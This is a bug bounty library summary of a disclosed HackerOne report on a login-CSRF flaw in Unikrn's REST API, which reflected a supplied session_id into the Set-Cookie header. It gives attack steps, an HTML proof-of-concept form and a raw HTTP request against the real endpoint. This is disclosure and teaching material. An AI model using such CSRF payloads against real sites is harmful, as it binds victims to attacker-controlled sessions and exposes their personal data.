# CSRF log victim into the attacker account

Unikrn API v1/v2 reflected a supplied session_id into the Set-Cookie header, letting a CSRF page log victims into the attacker's account.

- Payout: hidden
- Severity: high
- Program: Unikrn
- Found by: tolo7010
- Disclosed: 2018-04-10
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/293016
- Library page: https://bugbountylibrary.com/r/h1%3A293016
- Tags: area:web domain:api domain:web impact:ato kind:bounty platform:hackerone sev:high tech:rest vuln:auth-bypass vuln:csrf

**Target:** REST API endpoints /apiv1/ and /apiv2/
**Root cause:** API endpoints reflect the user-supplied session_id parameter directly into the Set-Cookie response header (CW=), with no CSRF protection, so any cross-site POST can overwrite the victim's session cookie.
**Steps:**
1. Victim is logged out (self or logout-CSRF).
2. Attacker logs in, captures their own session id (CW=) value.
3. Attacker crafts a CSRF page with a form POSTing `session_id` = attacker's session id to `https://unikrn.com/apiv1/`.
4. Victim visits the CSRF page; response sets `Set-Cookie: CW=<attacker session>` on unikrn.com.
5. Victim now browses as the attacker's account.
**How found:** Noticed API responses reflected the session_id request parameter into the Set-Cookie header, then realized a cross-site POST could set the victim's cookie to an attacker-controlled session.
**Exploitation:** Attacker hosts an auto-submitting form POSTing their own session_id to the API; the reflected Set-Cookie binds the victim's browser to the attacker's session, enabling social engineering to harvest the victim's personal data or password.
**Insight:** Test whether API endpoints echo user-controlled parameters into Set-Cookie; a reflected session cookie plus missing CSRF tokens turns into session fixation/login-CSRF even without a classic fixation endpoint.

## Proof of concept (copied exactly from the original report)

**CSRF form posting attacker session_id to apiv1**

```
<form action="https://unikrn.com/apiv1/" method="POST">
<input type="hidden" name="session_id" id="session_id" value="cm8csktf7p485hmb7on32o5bm94nm71i"> <!-- attacker session_id -->
<input type="submit"">
</form>
```

**Request setting session_id cookie via apiv1**

```
POST /apiv1/ HTTP/1.1
Host: unikrn.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://unikrn.com/games/lol/afreeca-freecs-v-griffin---best-of-3/31638
Content-Type: application/json
Application-Version: v3.9.1-1485-g57625f1
Content-Length: 49
Cookie: ...
Connection: close

{"session_id":"ue9cpp0t2mitjpm0s45epj78l3kpig6j"}
```